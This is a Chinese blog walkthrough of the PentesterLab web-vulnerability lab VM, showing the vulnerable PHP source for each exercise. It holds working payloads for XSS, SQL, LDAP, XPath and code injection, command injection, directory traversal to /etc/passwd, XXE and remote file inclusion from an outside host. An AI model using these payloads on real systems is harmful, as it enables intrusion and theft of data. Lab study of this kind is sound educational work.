很久之前就想做的靶机,一直没做,最近有空清理一下。地址在PentestLab
[TOC]
Pre 下载得到一个 iso 后直接用 vmware 装起来,ifconfig
得到 ip ,访问就可以看到主页了
Hacking XSS Example 1 1
http://172.16.71.152/xss/example1.php?name=hacker
Copy 一个典型的反射型 xss ,我们可以看到 url 中有个name
的参数,直接 x
1
http://172.16.71.152/xss/example1.php?name=%3Cscript%3Ealert(1);%3C/script%3E
Copy Example 2 1
http://172.16.71.152/xss/example1.php?name=hacker
Copy 还是尝试用<script>alert(1);</script>
直接 x ,发现被过滤了
1
2
3
4
5
6
7
8
9
10
< div class = "container" >
Hello
alert(1) < footer >
< p > © PentesterLab 2013</ p >
</ footer >
</ div > <!-- /container -->
Copy 大小写绕过
1
http://172.16.71.152/xss/example2.php?name=%3CScript%3Ealert(1)%3C/Script%3E
Copy Example 3 1
http://172.16.71.152/xss/example3.php?name=hacker
Copy 大小写也被过滤了,双写的话竟然没有被替代<scscriptript>
,直接原样返回了,换成其他标签
1
http : // 172.16 . 71.152 / xss / example3 . php ? name =% 3 Cbody / onload = alert ( 1 ) % 3 E
Copy 查看了源代码,原来是把<script>
与</script>
都替换了,把尖括号也替代了…也是自己不够仔细…确实应该想到替换包含了尖括号的问题
1
http://172.16.71.152/xss/example3.php?name=%3CSc%3CScript%3Eript%3Ealert(1)%3C/Sc%3C/Script%3Eript%3E
Copy Example 4 1
http://172.16.71.152/xss/example4.php?name=hacker
Copy 使用<script>alert(1)</script>
,发现直接回显了error
,并没有其他的提示了,我们仍旧可以使用<body/onload=alert(1)>
源代码是
1
2
3
if ( preg_match ( '/script/i' , $_GET [ 'name' ])){
die ( 'error' );
}
Copy 禁止使用了script
关键字
Example 5 1
http://172.16.71.152/xss/example5.php?name=hacker
Copy fuzz 发现是alert
直接就返回error
了,不用alert
,我们还有prompt
1
http : // 172.16 . 71.152 / xss / example5 . php ? name =% 3 Cbody / onload = prompt ( 1 ) % 3 E
Copy 源代码是:
1
2
3
if ( preg_match ( '/alert/i' , $_GET [ 'name' ])){
die ( 'error' );
}
Copy 这…感觉有点无语,讲道理我还以为应该是script
与alert
一起过滤了…
Example 6 1
http://172.16.71.152/xss/example6.php?name=hacker
Copy 用<script>alert(1)</script>
测试,发现输入变成了
1
2
3
4
Hello
< script >
var $a = " < script > alert ( 1 )</ script > ";
</ script >
Copy 意思就是把输入给放在了var $a= "…"
当中,闭合双引号,注释后面即可
1
http://172.16.71.152/xss/example6.php?name=%22;alert(1)//
Copy Example 7 1
http://172.16.71.152/xss/example7.php?name=hacker
Copy 用<script>alert(1)</script>
测试,发现输入变成了
1
2
3
4
Hello
< script >
var $a = '<script>alert(1)</script>' ;
</ script >
Copy 依然可以闭合单引号,注释后面即可。
1
http://172.16.71.152/xss/example7.php?name=%27;alert(1)//
Copy Example 8 发现这关有个输入框,提交<script>alert(1)</script>
,发现返回了实体编码
1
2
3
HELLO < script> alert(1)< /script> < form action = "/xss/example8.php" method = "POST" >
Your name:< input type = "text" name = "name" />
< input type = "submit" name = "submit" />
Copy 尝试了一些特殊字符
1
2
3
()/'";<>`
HELLO ()/'";<>`
Copy 发现<>
被过滤了,但是输出结果又没有处于任何一个标签的属性之内,感觉没有什么攻击点,查看源代码
1
2
3
if ( isset ( $_POST [ 'name' ])){
echo "HELLO " . htmlentities ( $_POST [ 'name' ]);
}
Copy 确实用了htmlentities
,但是感觉在输出又处在内容当中,真的没什么利用的点,找了一波也没发现什么有用的利用姿势,最后看文档,才知道攻击点并不在这,而是在后面的代码中
1
2
3
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
Copy 问题就出现在<?php echo $_SERVER['PHP_SELF']; ?>
这里
‘PHP_SELF’
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。
我们可以看到,这里是获取执行脚本的文件名,我们可以有xss/example8.php/%3C
,返回
1
< form action = "/xss/example8.php/<" method = "POST" >
Copy 说明PHP_SELF
是可控的,而且又存在在action
属性中,于是我们可以有,直接闭合form
,然后直接 x
1
"><script>alert(1);</script>//
Copy Example 9 1
http://172.16.71.152/xss/example9.php#hacker
Copy 发现页面有
1
2
3
< script >
document . write ( location . hash . substring ( 1 ));
</ script >
Copy 一个 DOM 型的 XSS ,讲道理应该可以直接使用#<script>alert(1)</script>
来进行 xss ,但是…不知道是不是浏览器的问题,直接就给我把<>
进行 url 编码了…
File Include Example 1 直接用
1
2
php://filter/read=convert.base64-encode/resource=intro.php
php://filter/read=convert.base64-encode/resource=example1.php
Copy 得到源码
1
2
3
4
5
6
7
<? php require_once '../header.php' ; ?>
<?php
if ($_GET["page"]) {
include($_GET["page"]);
}
?>
<?php require_once '../footer.php'; ?>
Copy 但是官方的意思是让我们体验一下远程包含的感觉…
1
http://172.16.71.152/fileincl/example1.php?page=http://your_ip/zedd.txt
Copy Zedd.txt 中的内容为
得到
Example 2 比上面少个后缀
1
2
php://filter/read=convert.base64-encode/resource=intro
php://filter/read=convert.base64-encode/resource=example2
Copy 读取源代码
1
2
3
4
5
6
7
8
9
10
11
<? php require_once '../header.php' ; ?>
<?php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
?>
<?php require_once '../footer.php'; ?>
Copy 我们可以利用zedd.txt%00
来绕过
LDAP attacks Example 1 着实没看懂这个 Example 是什么鬼…
In this first example, you connect to a LDAP server, using your username and password. In this instance, The LDAP server does not authenticate you, since your credentials are invalid.
However, some LDAP servers authorise NULL Bind: if null values are sent, the LDAP server will proceed to bind the connection, and the PHP code will think that the credentials are correct. To get the bind
with 2 null values, you will need to completely remove this parameter from the query. If you keep something like username=&password=
in the URL, these values will not work, since they won’t be null; instead, they will be empty.
菜是越来越菜,整个意思就是说可以用空值绕过,就是直接访问http://172.16.71.152/ldap/example1.php
即可…
Example 2 按照 Example 1 的套路,先直接访问看看,发现返回
1
Notice : Undefined index : password in / var / www / ldap / example2 . php on line 9 Notice : Undefined index : name in / var / www / ldap / example2 . php on line 10 UNAUTHENTICATED
Copy 看来是个正经的注入题了,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<? php
require "../header.php" ;
$ld = ldap_connect ( "localhost" ) or die ( "Could not connect to LDAP server" );
ldap_set_option ( $ld , LDAP_OPT_PROTOCOL_VERSION , 3 );
ldap_set_option ( $ld , LDAP_OPT_REFERRALS , 0 );
if ( $ld ) {
$lb = @ ldap_bind ( $ld , "cn=admin,dc=pentesterlab,dc=com" , "pentesterlab" );
if ( $lb ) {
$pass = "{MD5}" . base64_encode ( pack ( "H*" , md5 ( $_GET [ 'password' ])));
$filter = "(&(cn=" . $_GET [ 'name' ] . ")(userPassword=" . $pass . "))" ;
if ( ! ( $search =@ ldap_search ( $ld , "ou=people,dc=pentesterlab,dc=com" , $filter ))) {
echo ( "Unable to search ldap server<br>" );
echo ( "msg:'" . ldap_error ( $ld ) . "'</br>" );
} else {
$number_returned = ldap_count_entries ( $ld , $search );
$info = ldap_get_entries ( $ld , $search );
if ( $info [ "count" ] < 1 ) {
//NOK
echo "UNAUTHENTICATED" ;
}
else {
echo "AUTHENTICATED as" ;
echo ( " " . htmlentities ( $info [ 0 ][ 'uid' ][ 0 ]));
}
}
}
}
require "../footer.php" ;
?>
Copy 折腾了挺久,这里直接看源码,我们对着分析,因为password
处是被md5
处理了,所以后面我们没办法注入,这里他执行两条以上的语句会直接报错Bad search filter
,不能像网上给的大多数 payload 一样直接执行,所以我们需要分析一下,可以在name
处闭合前面的括号,再用%00
截断后面的即可,
1
admin)(cn=admin))%00&password=hacker
Copy 也可以不用后面那个cn=admin
1
admin))%00&password=hacker
Copy 不过我看文档写的有一处 fuzz 还是比较好的:
首先先用name=hacker&password=hacker
,回显正常 接着用name=hack*&password=hacker
,回显也正常 尝试name=hacker&password=hack*
,不能认证 尝试name=hack*&password=hack*
,不能认证 从这里可以推断,password
处可能是经过了 Hash 或者一些什么操作,我们的注入点只能在username
处
SQL Injection Example 1 没啥好说的
Example 2 尝试root' or 1=1%23
,返回
直接用%0a
绕
Example 3 %0a
还是返回了
用%a0
绕
Example 4 1
http://172.16.71.152/sqli/example4.php?id=2
Copy 这里参数变成了 id ,猜测是整形注入
Example 5 依旧可以使用2 or 1=1%23
注入
看了一下代码
1
2
3
4
5
6
if ( ! preg_match ( '/^[0-9]+/' , $_GET [ "id" ])) {
die ( "ERROR INTEGER REQUIRED" );
}
$sql = "SELECT * FROM users where id=" ;
$sql .= $_GET [ "id" ] ;
$result = mysql_query ( $sql );
Copy 只要开头是数字就可以绕过了
Example 6 尝试2 or 1=1%23
,返回
尝试2 or 1=1
,发现全部返回,猜测检测开头结尾是否为数字,于是我们可以使用布尔盲注
1
if ( substr (( SELECT group_concat ( schema_name ) from information_schema . schemata ), 1 , 1 ) = 'i' , 1 , 0 ) and 1
Copy 结果发现可以直接在注释后加数字就好了2 or 1=1 %23 1
,而且之前猜列数为 3 ,也猜错了…orz
还是不够细心,通过1 union select 1,2,3,4,5%23 1
,得到 5 列
1
2
3
4
5
6
7
8
9
10
11
12
13
1 union SELECT 1 , group_concat ( schema_name ), 3 , 4 , 5 from information_schema . schemata % 23 1
information_schema , exercises
1 union SELECT 1 , group_concat ( table_name ), 3 , 4 , 5 from information_schema . tables where table_schema = 'exercises' % 23 1
users
1 union SELECT 1 , group_concat ( column_name ), 3 , 4 , 5 from information_schema . columns where table_name = 'users' % 23 1
id , name , age , groupid , passwd
1 union select * from users % 23 1
Copy Example 7 查看源代码
1
2
3
4
5
6
7
if ( ! preg_match ( '/^-?[0-9]+$/m' , $_GET [ "id" ])) {
die ( "ERROR INTEGER REQUIRED" );
}
$sql = "SELECT * FROM users where id=" ;
$sql .= $_GET [ "id" ];
$result = mysql_query ( $sql );
Copy 我们可以用%0a
(换行)绕过纯数字匹配,4%0Aor 1=1%23
1
1 % 0 a union SELECT 1 , group_concat ( schema_name ), 3 , 4 , 5 from information_schema . schemata % 23
Copy Example 8 1
http://172.16.71.152/sqli/example8.php?order=name
Copy 很明显的一个order
注入,尝试报错无回显,那就只能通过 bool 注入或者延时注入了,但是 fuzz 了很久,都无法绕过,最后看源代码发现用的是反引号…
1
2
$sql = "SELECT * FROM users ORDER BY `" ;
$sql .= mysql_real_escape_string ( $_GET [ "order" ]) . "`" ;
Copy 用 sqlmap 跑了一下,发现可以用
1
2
order = name `=` name ` AND SLEEP ( 5 ) AND ` name `=` name
order = name `=` name ` AND 2137 = ( SELECT ( CASE WHEN ( 2137 = 2137 ) THEN 2137 ELSE ( SELECT 8927 UNION SELECT 4832 ) END )) -- lMKk
Copy 成功延时,仔细分析,其实是构成了以下 payload
1
2
3
SELECT * FROM users ORDER BY ` name `=` name ` AND SLEEP ( 5 ) AND ` name `=` name ` ;
SELECT * FROM users ORDER BY ` name `=` name ` AND 2137 = ( SELECT ( CASE WHEN ( 2137 = 2137 ) THEN 2137 ELSE ( SELECT 8927 UNION SELECT 4832 ) END )) -- lMKk`
Copy 这样就看的比较明朗了,其实就是用两个字符串先进行相等,然后还是用的是order by
后注入的方式
Example 9 比上个还要简单,直接测的是rand(true)%23
,发现排序发生变化,于是就可以用 bool 注入了,就不再重复了。
Code injection Example 1 1
http://172.16.71.152/codeexec/example1.php?name=hacker
Copy 回显
尝试 xss
1
http://172.16.71.152/codeexec/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E//
Copy 成功alert
,没发现这题问题所在,讲道理这算是个 HTML 代码注入吧2333,尝试注入$a
,发现有回显
1
Notice : Undefined variable : a in / var / www / codeexec / example1 . php ( 6 ) : eval () ' d code on line 1 Hello !!!
Copy 说明应该在eval()
函数中,猜测是eval(echo "$a!!!")
这样的方式,闭合双引号即可,
1
";system('whoami');echo "
Copy Example 2 1
http://172.16.71.152/codeexec/example2.php?order=id
Copy 传入$id
,发现错误回显
1
Notice : Undefined variable : id in / var / www / codeexec / example2 . php ( 22 ) : runtime - created function on line 1 Fatal error : Cannot access empty property in / var / www / codeexec / example2 . php ( 22 ) : runtime - created function on line 1
Copy 这个比较头大,我们直接分析源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<? php
class User {
public $id , $name , $age ;
function __construct ( $id , $name , $age ){
$this -> name = $name ;
$this -> age = $age ;
$this -> id = $id ;
}
}
require_once ( '../header.php' );
require_once ( '../sqli/db.php' );
$sql = "SELECT * FROM users " ;
$order = $_GET [ "order" ];
$result = mysql_query ( $sql );
if ( $result ) {
while ( $row = mysql_fetch_assoc ( $result )) {
$users [] = new User ( $row [ 'id' ], $row [ 'name' ], $row [ 'age' ]);
}
if ( isset ( $order )) {
usort ( $users , create_function ( '$a, $b' , 'return strcmp($a->' . $order . ',$b->' . $order . ');' ));
}
Copy 这里用到了create_function
的一个 trick ,可以用}
闭合create_function
,所以我们可以用
1
id,$b->id);}system('ls');//
Copy
Example 3 1
http://172.16.71.152/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer
Copy 这里我们直接看代码算了…
1
2
<? php
echo preg_replace ( $_GET [ "pattern" ], $_GET [ "new" ], $_GET [ "base" ]);
Copy 1
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
Copy 使用/e
修饰符,preg_replace
会将replacement
参数当作 PHP 代码执行,也就是$_GET['new']
所以用new=system('id');&pattern=/test/e&base=jutst test
,即可执行任意命令。
File Upload Example 1 毫无过滤的文件上传
Example 2 使用.php3
进行后缀绕过
Directory traversal Example 1 1
http://172.16.71.152/dirtrav/example1.php?file=../../../../../../../../../../etc/passwd
Copy Example 2 1
http : // 172.16 . 71.152 / dirtrav / example2 . php ? file =/ var / www / files / hacker . png
Copy 直接访问/etc/passwd
不行,用../
绕过
1
http : // 172.16 . 71.152 / dirtrav / example2 . php ? file =/ var / www / files /../../../../../../../../../ etc / passwd
Copy Example 3 1
http://172.16.71.152/dirtrav/example3.php?file=hacker
Copy 猜测结尾有附加.jpg
,用%00
截断
1
http://172.16.71.152/dirtrav/example3.php?file=../../../../../../../etc/passwd%00
Copy Commands injection Example 1 1
http://172.16.71.152/commandexec/example1.php?ip=127.0.0.1
Copy 加;id
执行命令
Example 2 用;
发现回显
于是用%0a
换行执行命令
Example 3 直接在后面加貌似会被先过滤跳转,放到 burp 里面加就行了
看下源代码
1
2
3
4
5
6
<? php
if ( ! ( preg_match ( '/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/' , $_GET [ 'ip' ]))) {
header ( "Location: example3.php?ip=127.0.0.1" );
}
system ( "ping -c 2 " . $_GET [ 'ip' ]);
?>
Copy 果然直接被跳转了,但是我们用 burp 还是可以直接执行的
XML attacks Example 1 1
http://172.16.71.152/xml/example1.php?xml=%3Ctest%3Ehacker%3C/test%3E
Copy 没什么过滤的 xxe ,删掉下载的空格换行什么的就好了,记得 urlencode
1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>
Copy Example 2 1
http://172.16.71.152/xml/example2.php?name=hacker
Copy 看源码得到
1
2
3
4
5
6
7
8
9
10
11
<? php require_once ( "../header.php" );
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>" ;
$xml = simplexml_load_string ( $x );
$xpath = "users/user/name[.='" . $_GET [ 'name' ] . "']/parent::*/message" ;
$res = ( $xml -> xpath ( $xpath ));
while ( list ( , $node ) = each ( $res )) {
echo $node ;
}
?>
Copy 看到源码就知道是一个 xpath 注入了,比较类似 sql 注入,用or 1=1
的方式绕过即可
1
users/user/name[.='hacker' or '1'='1']/parent::*/message
Copy 获取到了
1
Hello hackerHello admin
Copy 用admin' and '1'='1
得到 admin 的认证
Conclusion 总结以下还是有点收获的,比如create_function
那里的绕过,还有 LDAP 注入以及 XPath 注入, SQL 注入那里也有点收获,比如反引号的利用,也对order by
注入有了更好的理解。